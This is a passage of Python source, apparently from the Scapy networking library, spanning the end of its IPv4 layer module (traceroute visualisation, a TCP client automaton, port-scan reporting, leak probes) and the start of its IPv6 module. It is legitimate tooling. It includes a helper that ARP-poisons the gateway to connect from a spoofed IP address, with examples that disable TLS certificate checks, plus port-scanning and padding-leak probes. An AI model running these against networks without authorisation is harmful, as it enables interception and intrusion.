name="Traceroute", stats=None): SndRcvList.__init__(self, res, name, stats) self.graphdef = None self.graphASres = None self.padding = 0 self.hloc = None self.nloc = None def show(self): return self.make_table(lambda s, r: (s.sprintf("%IP.dst%:{TCP:tcp%ir,TCP.dport%}{UDP:udp%ir,UDP.dport%}{ICMP:ICMP}"), # noqa: E501 s.ttl, r.sprintf("%-15s,IP.src% {TCP:%TCP.flags%}{ICMP:%ir,ICMP.type%}"))) # noqa: E501 def get_trace(self): trace = {} for s, r in self.res: if IP not in s: continue d = s[IP].dst if d not in trace: trace[d] = {} trace[d][s[IP].ttl] = r[IP].src, ICMP not in r for k in trace.values(): try: m = min(x for x, y in k.items() if y[1]) except ValueError: continue for li in list(k): # use list(): k is modified in the loop if li > m: del k[li] return trace def trace3D(self, join=True): """Give a 3D representation of the traceroute. right button: rotate the scene middle button: zoom shift-left button: move the scene left button on a ball: toggle IP displaying double-click button on a ball: scan ports 21,22,23,25,80 and 443 and display the result""" # noqa: E501 # When not ran from a notebook, vpython pooly closes itself # using os._exit once finished. We pack it into a Process import multiprocessing p = multiprocessing.Process(target=self.trace3D_notebook) p.start() if join: p.join() def trace3D_notebook(self): """Same than trace3D, used when ran from Jupyter notebooks""" trace = self.get_trace() import vpython class IPsphere(vpython.sphere): def __init__(self, ip, **kargs): vpython.sphere.__init__(self, **kargs) self.ip = ip self.label = None self.setlabel(self.ip) self.last_clicked = None self.full = False self.savcolor = vpython.vec(*self.color.value) def fullinfos(self): self.full = True self.color = vpython.vec(1, 0, 0) a, b = sr(IP(dst=self.ip) / TCP(dport=[21, 22, 23, 25, 80, 443], flags="S"), timeout=2, verbose=0) # noqa: E501 if len(a) == 0: txt = "%s:\nno results" % self.ip else: txt = "%s:\n" % self.ip for s, r in a: txt += r.sprintf("{TCP:%IP.src%:%TCP.sport% %TCP.flags%}{TCPerror:%IPerror.dst%:%TCPerror.dport% %IP.src% %ir,ICMP.type%}\n") # noqa: E501 self.setlabel(txt, visible=1) def unfull(self): self.color = self.savcolor self.full = False self.setlabel(self.ip) def setlabel(self, txt, visible=None): if self.label is not None: if visible is None: visible = self.label.visible self.label.visible = 0 elif visible is None: visible = 0 self.label = vpython.label(text=txt, pos=self.pos, space=self.radius, xoffset=10, yoffset=20, visible=visible) # noqa: E501 def check_double_click(self): try: if self.full or not self.label.visible: return False if self.last_clicked is not None: return (time.time() - self.last_clicked) < 0.5 return False finally: self.last_clicked = time.time() def action(self): self.label.visible ^= 1 if self.full: self.unfull() vpython.scene = vpython.canvas() vpython.scene.title = "
%s
" % self.listname # noqa: E501 vpython.scene.append_to_caption( re.sub( r'\%(.*)\%', r'\1', re.sub( r'\`(.*)\`', r'\1', """Commands: %Click% to toggle information about a node. %Double click% to perform a quick web scan on this node. Camera usage: `Right button drag or Ctrl-drag` to rotate "camera" to view scene. `Shift-drag` to move the object around. `Middle button or Alt-drag` to drag up or down to zoom in or out. On a two-button mouse, `middle is wheel or left + right`. Touch screen: pinch/extend to zoom, swipe or two-finger rotate.""" ) ) ) vpython.scene.exit = True rings = {} tr3d = {} for i in trace: tr = trace[i] tr3d[i] = [] for t in range(1, max(tr) + 1): if t not in rings: rings[t] = [] if t in tr: if tr[t] not in rings[t]: rings[t].append(tr[t]) tr3d[i].append(rings[t].index(tr[t])) else: rings[t].append(("unk", -1)) tr3d[i].append(len(rings[t]) - 1) for t in rings: r = rings[t] tmp_len = len(r) for i in range(tmp_len): if r[i][1] == -1: col = vpython.vec(0.75, 0.75, 0.75) elif r[i][1]: col = vpython.color.green else: col = vpython.color.blue s = IPsphere(pos=vpython.vec((tmp_len - 1) * vpython.cos(2 * i * vpython.pi / tmp_len), (tmp_len - 1) * vpython.sin(2 * i * vpython.pi / tmp_len), 2 * t), # noqa: E501 ip=r[i][0], color=col) for trlst in tr3d.values(): if t <= len(trlst): if trlst[t - 1] == i: trlst[t - 1] = s forecol = colgen(0.625, 0.4375, 0.25, 0.125) for trlst in tr3d.values(): col = vpython.vec(*next(forecol)) start = vpython.vec(0, 0, 0) for ip in trlst: vpython.cylinder(pos=start, axis=ip.pos - start, color=col, radius=0.2) # noqa: E501 start = ip.pos vpython.rate(50) # Keys handling # TODO: there is currently no way of closing vpython correctly # https://github.com/BruceSherwood/vpython-jupyter/issues/36 # def keyboard_press(ev): # k = ev.key # if k == "esc" or k == "q": # pass # TODO: close # # vpython.scene.bind('keydown', keyboard_press) # Mouse handling def mouse_click(ev): if ev.press == "left": o = vpython.scene.mouse.pick if o and isinstance(o, IPsphere): if o.check_double_click(): if o.ip == "unk": return o.fullinfos() else: o.action() vpython.scene.bind('mousedown', mouse_click) def world_trace(self): """Display traceroute results on a world map.""" # Check that the geoip2 module can be imported # Doc: http://geoip2.readthedocs.io/en/latest/ from scapy.libs.matplot import plt, MATPLOTLIB, MATPLOTLIB_INLINED try: # GeoIP2 modules need to be imported as below import geoip2.database import geoip2.errors except ImportError: log_runtime.error( "Cannot import geoip2. Won't be able to plot the world." ) return [] # Check availability of database if not conf.geoip_city: log_runtime.error( "Cannot import the geolite2 CITY database.\n" "Download it from http://dev.maxmind.com/geoip/geoip2/geolite2/" # noqa: E501 " then set its path to conf.geoip_city" ) return [] # Check availability of plotting devices try: import cartopy.crs as ccrs except ImportError: log_runtime.error( "Cannot import cartopy.\n" "More infos on http://scitools.org.uk/cartopy/docs/latest/installing.html" # noqa: E501 ) return [] if not MATPLOTLIB: log_runtime.error( "Matplotlib is not installed. Won't be able to plot the world." ) return [] # Open & read the GeoListIP2 database try: db = geoip2.database.Reader(conf.geoip_city) except Exception: log_runtime.error( "Cannot open geoip2 database at %s", conf.geoip_city ) return [] # Regroup results per trace ips = {} rt = {} ports_done = {} for s, r in self.res: ips[r.src] = None if s.haslayer(TCP) or s.haslayer(UDP): trace_id = (s.src, s.dst, s.proto, s.dport) elif s.haslayer(ICMP): trace_id = (s.src, s.dst, s.proto, s.type) else: trace_id = (s.src, s.dst, s.proto, 0) trace = rt.get(trace_id, {}) if not r.haslayer(ICMP) or r.type != 11: if trace_id in ports_done: continue ports_done[trace_id] = None trace[s.ttl] = r.src rt[trace_id] = trace # Get the addresses locations trt = {} for trace_id in rt: trace = rt[trace_id] loctrace = [] for i in range(max(trace)): ip = trace.get(i, None) if ip is None: continue # Fetch database try: sresult = db.city(ip) except geoip2.errors.AddressNotFoundError: continue loctrace.append((sresult.location.longitude, sresult.location.latitude)) # noqa: E501 if loctrace: trt[trace_id] = loctrace # Load the map renderer plt.figure(num='Scapy') ax = plt.axes(projection=ccrs.PlateCarree()) # Draw countries ax.coastlines() ax.stock_img() # Set normal size ax.set_global() # Add title plt.title("Scapy traceroute results") from matplotlib.collections import LineCollection from matplotlib import colors as mcolors colors_cycle = iter(mcolors.BASE_COLORS) lines = [] # Split traceroute measurement for key, trc in trt.items(): # Get next color color = next(colors_cycle) # Gather mesurments data data_lines = [(trc[i], trc[i + 1]) for i in range(len(trc) - 1)] # Create line collection line_col = LineCollection(data_lines, linewidths=2, label=key[1], color=color) lines.append(line_col) ax.add_collection(line_col) # Create map points lines.extend([ax.plot(*x, marker='.', color=color) for x in trc]) # Generate legend ax.legend() # Call show() if matplotlib is not inlined if not MATPLOTLIB_INLINED: plt.show() # Clean ax.remove() # Return the drawn lines return lines def make_graph(self, ASres=None, padding=0): self.graphASres = ASres self.graphpadding = padding ips = {} rt = {} ports = {} ports_done = {} for s, r in self.res: r = r.getlayer(IP) or (conf.ipv6_enabled and r[scapy.layers.inet6.IPv6]) or r # noqa: E501 s = s.getlayer(IP) or (conf.ipv6_enabled and s[scapy.layers.inet6.IPv6]) or s # noqa: E501 ips[r.src] = None if TCP in s: trace_id = (s.src, s.dst, 6, s.dport) elif UDP in s: trace_id = (s.src, s.dst, 17, s.dport) elif ICMP in s: trace_id = (s.src, s.dst, 1, s.type) else: trace_id = (s.src, s.dst, s.proto, 0) trace = rt.get(trace_id, {}) ttl = conf.ipv6_enabled and scapy.layers.inet6.IPv6 in s and s.hlim or s.ttl # noqa: E501 if not (ICMP in r and r[ICMP].type == 11) and not (conf.ipv6_enabled and scapy.layers.inet6.IPv6 in r and scapy.layers.inet6.ICMPv6TimeExceeded in r): # noqa: E501 if trace_id in ports_done: continue ports_done[trace_id] = None p = ports.get(r.src, []) if TCP in r: p.append(r.sprintf(" %TCP.sport% %TCP.flags%")) # noqa: E501 trace[ttl] = r.sprintf('"%r,src%":T%ir,TCP.sport%') elif UDP in r: p.append(r.sprintf(" %UDP.sport%")) trace[ttl] = r.sprintf('"%r,src%":U%ir,UDP.sport%') elif ICMP in r: p.append(r.sprintf(" ICMP %ICMP.type%")) trace[ttl] = r.sprintf('"%r,src%":I%ir,ICMP.type%') else: p.append(r.sprintf("{IP: IP %proto%}{IPv6: IPv6 %nh%}")) # noqa: E501 trace[ttl] = r.sprintf('"%r,src%":{IP:P%ir,proto%}{IPv6:P%ir,nh%}') # noqa: E501 ports[r.src] = p else: trace[ttl] = r.sprintf('"%r,src%"') rt[trace_id] = trace # Fill holes with unk%i nodes unknown_label = incremental_label("unk%i") blackholes = [] bhip = {} for rtk in rt: trace = rt[rtk] max_trace = max(trace) for n in range(min(trace), max_trace): if n not in trace: trace[n] = next(unknown_label) if rtk not in ports_done: if rtk[2] == 1: # ICMP bh = "%s %i/icmp" % (rtk[1], rtk[3]) elif rtk[2] == 6: # TCP bh = "%s %i/tcp" % (rtk[1], rtk[3]) elif rtk[2] == 17: # UDP bh = '%s %i/udp' % (rtk[1], rtk[3]) else: bh = '%s %i/proto' % (rtk[1], rtk[2]) ips[bh] = None bhip[rtk[1]] = bh bh = '"%s"' % bh trace[max_trace + 1] = bh blackholes.append(bh) # Find AS numbers ASN_query_list = set(x.rsplit(" ", 1)[0] for x in ips) if ASres is None: ASNlist = [] else: ASNlist = ASres.resolve(*ASN_query_list) ASNs = {} ASDs = {} for ip, asn, desc, in ASNlist: if asn is None: continue iplist = ASNs.get(asn, []) if ip in bhip: if ip in ports: iplist.append(ip) iplist.append(bhip[ip]) else: iplist.append(ip) ASNs[asn] = iplist ASDs[asn] = desc backcolorlist = colgen("60", "86", "ba", "ff") forecolorlist = colgen("a0", "70", "40", "20") s = "digraph trace {\n" s += "\n\tnode [shape=ellipse,color=black,style=solid];\n\n" s += "\n#ASN clustering\n" for asn in ASNs: s += '\tsubgraph cluster_%s {\n' % asn col = next(backcolorlist) s += '\t\tcolor="#%s%s%s";' % col s += '\t\tnode [fillcolor="#%s%s%s",style=filled];' % col s += '\t\tfontsize = 10;' s += '\t\tlabel = "%s\\n[%s]"\n' % (asn, ASDs[asn]) for ip in ASNs[asn]: s += '\t\t"%s";\n' % ip s += "\t}\n" s += "#endpoints\n" for p in ports: s += '\t"%s" [shape=record,color=black,fillcolor=green,style=filled,label="%s|%s"];\n' % (p, p, "|".join(ports[p])) # noqa: E501 s += "\n#Blackholes\n" for bh in blackholes: s += '\t%s [shape=octagon,color=black,fillcolor=red,style=filled];\n' % bh # noqa: E501 if padding: s += "\n#Padding\n" pad = {} for snd, rcv in self.res: if rcv.src not in ports and rcv.haslayer(conf.padding_layer): p = rcv.getlayer(conf.padding_layer).load if p != b"\x00" * len(p): pad[rcv.src] = None for rcv in pad: s += '\t"%s" [shape=triangle,color=black,fillcolor=red,style=filled];\n' % rcv # noqa: E501 s += "\n\tnode [shape=ellipse,color=black,style=solid];\n\n" for rtk in rt: s += "#---[%s\n" % repr(rtk) s += '\t\tedge [color="#%s%s%s"];\n' % next(forecolorlist) trace = rt[rtk] maxtrace = max(trace) for n in range(min(trace), maxtrace): s += '\t%s ->\n' % trace[n] s += '\t%s;\n' % trace[maxtrace] s += "}\n" self.graphdef = s def graph(self, ASres=conf.AS_resolver, padding=0, **kargs): """x.graph(ASres=conf.AS_resolver, other args): ASres=None : no AS resolver => no clustering ASres=AS_resolver() : default whois AS resolver (riswhois.ripe.net) ASres=AS_resolver_cymru(): use whois.cymru.com whois database ASres=AS_resolver(server="whois.ra.net") type: output type (svg, ps, gif, jpg, etc.), passed to dot's "-T" option # noqa: E501 target: filename or redirect. Defaults pipe to Imagemagick's display program # noqa: E501 prog: which graphviz program to use""" if (self.graphdef is None or self.graphASres != ASres or self.graphpadding != padding): self.make_graph(ASres, padding) return do_graph(self.graphdef, **kargs) @conf.commands.register def traceroute(target, dport=80, minttl=1, maxttl=30, sport=RandShort(), l4=None, filter=None, timeout=2, verbose=None, **kargs): # noqa: E501 """Instant TCP traceroute :param target: hostnames or IP addresses :param dport: TCP destination port (default is 80) :param minttl: minimum TTL (default is 1) :param maxttl: maximum TTL (default is 30) :param sport: TCP source port (default is random) :param l4: use a Scapy packet instead of TCP :param filter: BPF filter applied to received packets :param timeout: time to wait for answers (default is 2s) :param verbose: detailed output :return: an TracerouteResult, and a list of unanswered packets""" if verbose is None: verbose = conf.verb if filter is None: # we only consider ICMP error packets and TCP packets with at # least the ACK flag set *and* either the SYN or the RST flag # set filter = "(icmp and (icmp[0]=3 or icmp[0]=4 or icmp[0]=5 or icmp[0]=11 or icmp[0]=12)) or (tcp and (tcp[13] & 0x16 > 0x10))" # noqa: E501 if l4 is None: a, b = sr(IP(dst=target, id=RandShort(), ttl=(minttl, maxttl)) / TCP(seq=RandInt(), sport=sport, dport=dport), # noqa: E501 timeout=timeout, filter=filter, verbose=verbose, **kargs) else: # this should always work filter = "ip" a, b = sr(IP(dst=target, id=RandShort(), ttl=(minttl, maxttl)) / l4, timeout=timeout, filter=filter, verbose=verbose, **kargs) a = TracerouteResult(a.res) if verbose: a.show() return a, b @conf.commands.register def traceroute_map(ips, **kargs): """Util function to call traceroute on multiple targets, then show the different paths on a map. :param ips: a list of IPs on which traceroute will be called :param kargs: (optional) kwargs, passed to traceroute """ kargs.setdefault("verbose", 0) return traceroute(ips)[0].world_trace() ############################# # Simple TCP client stack # ############################# class TCP_client(Automaton): """ Creates a TCP Client Automaton. This automaton will handle TCP 3-way handshake. Usage: the easiest usage is to use it as a SuperSocket. >>> a = TCP_client.tcplink(HTTP, "www.google.com", 80) >>> a.send(HTTPRequest()) >>> a.recv() :param ip: the ip to connect to :param port: :param src: (optional) use another source IP :param sport: (optional) the TCP source port (default: random) :param seq: (optional) initial TCP sequence number (default: random) """ def parse_args(self, ip, port, srcip=None, sport=None, seq=None, ack=0, **kargs): from scapy.sessions import TCPSession self.dst = str(Net(ip)) self.dport = port self.sport = sport if sport is not None else random.randrange(0, 2**16) self.l4 = IP(dst=ip, src=srcip) / TCP( sport=self.sport, dport=self.dport, flags=0, seq=seq if seq is not None else random.randrange(0, 2**32), ack=ack, ) self.src = self.l4.src self.sack = self.l4[TCP].ack self.rel_seq = None self.rcvbuf = TCPSession() bpf = "host %s and host %s and port %i and port %i" % (self.src, self.dst, self.sport, self.dport) Automaton.parse_args(self, filter=bpf, **kargs) def _transmit_packet(self, pkt): """Transmits a packet from TCPSession to the SuperSocket""" self.oi.tcp.send(raw(pkt[TCP].payload)) def master_filter(self, pkt): return (IP in pkt and pkt[IP].src == self.dst and pkt[IP].dst == self.src and TCP in pkt and pkt[TCP].sport == self.dport and pkt[TCP].dport == self.sport and self.l4[TCP].seq >= pkt[TCP].ack and # XXX: seq/ack 2^32 wrap up # noqa: E501 ((self.l4[TCP].ack == 0) or (self.sack <= pkt[TCP].seq <= self.l4[TCP].ack + pkt[TCP].window))) # noqa: E501 @ATMT.state(initial=1) def START(self): pass @ATMT.state() def SYN_SENT(self): pass @ATMT.state() def ESTABLISHED(self): pass @ATMT.state() def LAST_ACK(self): pass @ATMT.state(final=1) def CLOSED(self): pass @ATMT.state(stop=1) def STOP(self): pass @ATMT.state() def STOP_SENT_FIN_ACK(self): pass @ATMT.condition(START) def connect(self): raise self.SYN_SENT() @ATMT.action(connect) def send_syn(self): self.l4[TCP].flags = "S" self.send(self.l4) self.l4[TCP].seq += 1 @ATMT.receive_condition(SYN_SENT) def synack_received(self, pkt): if pkt[TCP].flags.SA: raise self.ESTABLISHED().action_parameters(pkt) @ATMT.action(synack_received) def send_ack_of_synack(self, pkt): self.l4[TCP].ack = pkt[TCP].seq + 1 self.l4[TCP].flags = "A" self.send(self.l4) @ATMT.receive_condition(ESTABLISHED) def incoming_data_received(self, pkt): if not isinstance(pkt[TCP].payload, (NoPayload, conf.padding_layer)): raise self.ESTABLISHED().action_parameters(pkt) @ATMT.action(incoming_data_received) def receive_data(self, pkt): data = raw(pkt[TCP].payload) if data and self.l4[TCP].ack == pkt[TCP].seq: self.sack = self.l4[TCP].ack self.l4[TCP].ack += len(data) self.l4[TCP].flags = "A" # Answer with an Ack self.send(self.l4) # Process data - will be sent to the SuperSocket through this pkt = self.rcvbuf.process(pkt) if pkt: self._transmit_packet(pkt) @ATMT.ioevent(ESTABLISHED, name="tcp", as_supersocket="tcplink") def outgoing_data_received(self, fd): raise self.ESTABLISHED().action_parameters(fd.recv()) @ATMT.action(outgoing_data_received) def send_data(self, d): self.l4[TCP].flags = "PA" self.send(self.l4 / d) self.l4[TCP].seq += len(d) @ATMT.receive_condition(ESTABLISHED) def reset_received(self, pkt): if pkt[TCP].flags.R: raise self.CLOSED() @ATMT.receive_condition(ESTABLISHED) def fin_received(self, pkt): if pkt[TCP].flags.F: raise self.LAST_ACK().action_parameters(pkt) @ATMT.action(fin_received) def send_finack(self, pkt): self.l4[TCP].flags = "FA" self.l4[TCP].ack = pkt[TCP].seq + 1 self.send(self.l4) self.l4[TCP].seq += 1 @ATMT.receive_condition(LAST_ACK) def ack_of_fin_received(self, pkt): if pkt[TCP].flags.A: raise self.CLOSED() @ATMT.condition(STOP) def stop_requested(self): raise self.STOP_SENT_FIN_ACK() @ATMT.action(stop_requested) def stop_send_finack(self): self.l4[TCP].flags = "FA" self.send(self.l4) self.l4[TCP].seq += 1 @ATMT.receive_condition(STOP_SENT_FIN_ACK) def stop_fin_received(self, pkt): if pkt[TCP].flags.F: raise self.CLOSED().action_parameters(pkt) @ATMT.action(stop_fin_received) def stop_send_ack(self, pkt): self.l4[TCP].flags = "A" self.l4[TCP].ack = pkt[TCP].seq + 1 self.send(self.l4) @ATMT.timeout(SYN_SENT, 1) def syn_ack_timeout(self): raise self.CLOSED() @ATMT.timeout(STOP_SENT_FIN_ACK, 1) def stop_ack_timeout(self): raise self.CLOSED() ##################### # Reporting stuff # ##################### @conf.commands.register def report_ports(target, ports): """portscan a target and output a LaTeX table report_ports(target, ports) -> string""" ans, unans = sr(IP(dst=target) / TCP(dport=ports), timeout=5) rep = "\\begin{tabular}{|r|l|l|}\n\\hline\n" for s, r in ans: if not r.haslayer(ICMP): if r.payload.flags == 0x12: rep += r.sprintf("%TCP.sport% & open & SA \\\\\n") rep += "\\hline\n" for s, r in ans: if r.haslayer(ICMP): rep += r.sprintf("%TCPerror.dport% & closed & ICMP type %ICMP.type%/%ICMP.code% from %IP.src% \\\\\n") # noqa: E501 elif r.payload.flags != 0x12: rep += r.sprintf("%TCP.sport% & closed & TCP %TCP.flags% \\\\\n") rep += "\\hline\n" for i in unans: rep += i.sprintf("%TCP.dport% & ? & unanswered \\\\\n") rep += "\\hline\n\\end{tabular}\n" return rep @conf.commands.register def IPID_count(lst, funcID=lambda x: x[1].id, funcpres=lambda x: x[1].summary()): # noqa: E501 """Identify IP id values classes in a list of packets lst: a list of packets funcID: a function that returns IP id values funcpres: a function used to summarize packets""" idlst = [funcID(e) for e in lst] idlst.sort() classes = [idlst[0]] classes += [t[1] for t in zip(idlst[:-1], idlst[1:]) if abs(t[0] - t[1]) > 50] # noqa: E501 lst = [(funcID(x), funcpres(x)) for x in lst] lst.sort() print("Probably %i classes: %s" % (len(classes), classes)) for id, pr in lst: print("%5i" % id, pr) @conf.commands.register def fragleak(target, sport=123, dport=123, timeout=0.2, onlyasc=0, count=None): load = "XXXXYYYYYYYYYY" pkt = IP(dst=target, id=RandShort(), options=b"\x00" * 40, flags=1) pkt /= UDP(sport=sport, dport=sport) / load s = conf.L3socket() intr = 0 found = {} try: while count is None or count: if count is not None and isinstance(count, int): count -= 1 try: if not intr: s.send(pkt) sin = select.select([s], [], [], timeout)[0] if not sin: continue ans = s.recv(1600) if not isinstance(ans, IP): # TODO: IPv6 continue if not isinstance(ans.payload, ICMP): continue if not isinstance(ans.payload.payload, IPerror): continue if ans.payload.payload.dst != target: continue if ans.src != target: print("leak from", ans.src) if not ans.haslayer(conf.padding_layer): continue leak = ans.getlayer(conf.padding_layer).load if leak not in found: found[leak] = None linehexdump(leak, onlyasc=onlyasc) except KeyboardInterrupt: if intr: raise intr = 1 except KeyboardInterrupt: pass @conf.commands.register def fragleak2(target, timeout=0.4, onlyasc=0, count=None): found = {} try: while count is None or count: if count is not None and isinstance(count, int): count -= 1 pkt = IP(dst=target, options=b"\x00" * 40, proto=200) pkt /= "XXXXYYYYYYYYYYYY" p = sr1(pkt, timeout=timeout, verbose=0) if not p: continue if conf.padding_layer in p: leak = p[conf.padding_layer].load if leak not in found: found[leak] = None linehexdump(leak, onlyasc=onlyasc) except Exception: pass @conf.commands.register class connect_from_ip: """ Open a TCP socket to a host:port while spoofing another IP. :param host: the host to connect to :param port: the port to connect to :param srcip: the IP to spoof. the cache of the gateway will be poisonned with this IP. :param poison: (optional, default True) ARP poison the gateway (or next hop), so that it answers us (only one packet). :param timeout: (optional) the socket timeout. Example - Connect to 192.168.0.1:80 spoofing 192.168.0.2:: from scapy.layers.http import HTTP, HTTPRequest client = connect_from_ip("192.168.0.1", 80, "192.168.0.2") sock = SSLStreamSocket(client.sock, HTTP) resp = sock.sr1(HTTP() / HTTPRequest(Path="/")) Example - Connect to 192.168.0.1:443 with TLS wrapping spoofing 192.168.0.2:: import ssl from scapy.layers.http import HTTP, HTTPRequest context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE client = connect_from_ip("192.168.0.1", 443, "192.168.0.2") sock = context.wrap_socket(client.sock) sock = SSLStreamSocket(client.sock, HTTP) resp = sock.sr1(HTTP() / HTTPRequest(Path="/")) """ def __init__(self, host, port, srcip, poison=True, timeout=1, debug=0): host = str(Net(host)) if poison: # poison the next hop gateway = conf.route.route(host)[2] if gateway == "0.0.0.0": # on lan gateway = host getmacbyip(gateway) # cache real gateway before poisoning arpcachepoison(gateway, srcip, count=1, interval=0, verbose=0) # create a socket pair self._sock, self.sock = socket.socketpair() self.sock.settimeout(timeout) self.client = TCP_client( host, port, srcip=srcip, external_fd={"tcp": self._sock}, debug=debug, ) # start the TCP_client self.client.runbg() def close(self): self.client.stop() self.client.destroy() self.sock.close() self._sock.close() class ICMPEcho_am(AnsweringMachine): """Responds to ICMP Echo-Requests (ping)""" function_name = "icmpechod" def is_request(self, req): if req.haslayer(ICMP): icmp_req = req.getlayer(ICMP) if icmp_req.type == 8: # echo-request return True return False def print_reply(self, req, reply): print("Replying %s to %s" % (reply[IP].dst, req[IP].dst)) def make_reply(self, req): reply = req.copy() reply[ICMP].type = 0 # echo-reply # Force re-generation of the checksum reply[ICMP].chksum = None if req.haslayer(IP): reply[IP].src, reply[IP].dst = req[IP].dst, req[IP].src reply[IP].chksum = None if req.haslayer(Ether): reply[Ether].src, reply[Ether].dst = ( None if req[Ether].dst == "ff:ff:ff:ff:ff:ff" else req[Ether].dst, req[Ether].src, ) return reply conf.stats_classic_protocols += [TCP, UDP, ICMP] conf.stats_dot11_protocols += [TCP, UDP, ICMP] if conf.ipv6_enabled: import scapy.layers.inet6 ================================================ FILE: scapy/layers/inet6.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Guillaume Valadon # Copyright (C) Arnaud Ebalard # Cool history about this file: http://natisbad.org/scapy/index.html """ IPv6 (Internet Protocol v6). """ from hashlib import md5 import random import socket import struct from time import gmtime, strftime from scapy.arch import get_if_hwaddr from scapy.as_resolvers import AS_resolver_riswhois from scapy.base_classes import Gen, _ScopedIP from scapy.compat import chb, orb, raw, plain_str, bytes_encode from scapy.consts import WINDOWS, OPENBSD from scapy.config import conf from scapy.data import ( DLT_IPV6, DLT_RAW, DLT_RAW_ALT, ETHER_ANY, ETH_P_ALL, ETH_P_IPV6, MTU, ) from scapy.error import log_runtime, warning from scapy.fields import ( BitEnumField, BitField, ByteEnumField, ByteField, DestIP6Field, FieldLenField, FlagsField, IntField, IP6Field, LongField, MACField, MayEnd, PacketLenField, PacketListField, ShortEnumField, ShortField, SourceIP6Field, StrField, StrFixedLenField, StrLenField, X3BytesField, XBitField, XByteField, XIntField, XShortField, ) from scapy.layers.inet import ( _ICMPExtensionField, _ICMPExtensionPadField, _ICMP_extpad_post_dissection, IP, IPTools, TCP, TCPerror, TracerouteResult, UDP, UDPerror, ) from scapy.layers.l2 import ( CookedLinux, Ether, GRE, Loopback, SNAP, SourceMACField, ) from scapy.packet import bind_layers, Packet, Raw from scapy.sendrecv import sendp, sniff, sr, srp1 from scapy.supersocket import SuperSocket from scapy.utils import checksum, strxor from scapy.pton_ntop import inet_pton, inet_ntop from scapy.utils6 import in6_getnsma, in6_getnsmac, in6_isaddr6to4, \ in6_isaddrllallnodes, in6_isaddrllallservers, in6_isaddrTeredo, \ in6_isllsnmaddr, in6_ismaddr, Net6, teredoAddrExtractInfo from scapy.volatile import RandInt, RandShort # Typing from typing import ( Optional, ) if not socket.has_ipv6: raise socket.error("can't use AF_INET6, IPv6 is disabled") if not hasattr(socket, "IPPROTO_IPV6"): # Workaround for http://bugs.python.org/issue6926 socket.IPPROTO_IPV6 = 41 if not hasattr(socket, "IPPROTO_IPIP"): # Workaround for https://bitbucket.org/secdev/scapy/issue/5119 socket.IPPROTO_IPIP = 4 if conf.route6 is None: # unused import, only to initialize conf.route6 import scapy.route6 # noqa: F401 ########################## # Neighbor cache stuff # ########################## conf.netcache.new_cache("in6_neighbor", 120) @conf.commands.register def neighsol(addr, src, iface, timeout=1, chainCC=0): """Sends and receive an ICMPv6 Neighbor Solicitation message This function sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address address. 'src' address is used as the source IPv6 address of the message. Message is sent on 'iface'. The source MAC address is retrieved accordingly. By default, timeout waiting for an answer is 1 second. If no answer is gathered, None is returned. Else, the answer is returned (ethernet frame). """ nsma = in6_getnsma(inet_pton(socket.AF_INET6, addr)) d = inet_ntop(socket.AF_INET6, nsma) dm = in6_getnsmac(nsma) sm = get_if_hwaddr(iface) p = Ether(dst=dm, src=sm) / IPv6(dst=d, src=src, hlim=255) p /= ICMPv6ND_NS(tgt=addr) p /= ICMPv6NDOptSrcLLAddr(lladdr=sm) res = srp1(p, type=ETH_P_IPV6, iface=iface, timeout=timeout, verbose=0, chainCC=chainCC) return res @conf.commands.register def getmacbyip6(ip6, chainCC=0): # type: (str, int) -> Optional[str] """ Returns the MAC address of the next hop used to reach a given IPv6 address. neighborCache.get() method is used on instantiated neighbor cache. Resolution mechanism is described in associated doc string. (chainCC parameter value ends up being passed to sending function used to perform the resolution, if needed) .. seealso:: :func:`~scapy.layers.l2.getmacbyip` for IPv4. """ # Sanitize the IP if isinstance(ip6, Net6): ip6 = str(ip6) # Multicast if in6_ismaddr(ip6): # mcast @ mac = in6_getnsmac(inet_pton(socket.AF_INET6, ip6)) return mac iff, a, nh = conf.route6.route(ip6) if iff == conf.loopback_name: return "ff:ff:ff:ff:ff:ff" if nh != '::': ip6 = nh # Found next hop mac = conf.netcache.in6_neighbor.get(ip6) if mac: return mac res = neighsol(ip6, a, iff, chainCC=chainCC) if res is not None: if ICMPv6NDOptDstLLAddr in res: mac = res[ICMPv6NDOptDstLLAddr].lladdr else: mac = res.src conf.netcache.in6_neighbor[ip6] = mac return mac return None ############################################################################# ############################################################################# # IPv6 Class # ############################################################################# ############################################################################# ipv6nh = {0: "Hop-by-Hop Option Header", 4: "IP", 6: "TCP", 17: "UDP", 41: "IPv6", 43: "Routing Header", 44: "Fragment Header", 47: "GRE", 50: "ESP Header", 51: "AH Header", 58: "ICMPv6", 59: "No Next Header", 60: "Destination Option Header", 112: "VRRP", 132: "SCTP", 135: "Mobility Header"} ipv6nhcls = {0: "IPv6ExtHdrHopByHop", 4: "IP", 6: "TCP", 17: "UDP", 43: "IPv6ExtHdrRouting", 44: "IPv6ExtHdrFragment", 50: "ESP", 51: "AH", 58: "ICMPv6Unknown", 59: "Raw", 60: "IPv6ExtHdrDestOpt"} class IP6ListField(StrField): __slots__ = ["count_from", "length_from"] islist = 1 def __init__(self, name, default, count_from=None, length_from=None): if default is None: default = [] StrField.__init__(self, name, default) self.count_from = count_from self.length_from = length_from def i2len(self, pkt, i): return 16 * len(i) def i2count(self, pkt, i): if isinstance(i, list): return len(i) return 0 def getfield(self, pkt, s): c = tmp_len = None if self.length_from is not None: tmp_len = self.length_from(pkt) elif self.count_from is not None: c = self.count_from(pkt) lst = [] ret = b"" remain = s if tmp_len is not None: remain, ret = s[:tmp_len], s[tmp_len:] while remain: if c is not None: if c <= 0: break c -= 1 addr = inet_ntop(socket.AF_INET6, remain[:16]) lst.append(addr) remain = remain[16:] return remain + ret, lst def i2m(self, pkt, x): s = b"" for y in x: try: y = inet_pton(socket.AF_INET6, y) except Exception: y = socket.getaddrinfo(y, None, socket.AF_INET6)[0][-1][0] y = inet_pton(socket.AF_INET6, y) s += y return s def i2repr(self, pkt, x): s = [] if x is None: return "[]" for y in x: s.append('%s' % y) return "[ %s ]" % (", ".join(s)) class _IPv6GuessPayload: name = "Dummy class that implements guess_payload_class() for IPv6" def default_payload_class(self, p): if self.nh == 58: # ICMPv6 t = orb(p[0]) if len(p) > 2 and (t == 139 or t == 140): # Node Info Query return _niquery_guesser(p) if len(p) >= icmp6typesminhdrlen.get(t, float("inf")): # Other ICMPv6 messages # noqa: E501 if 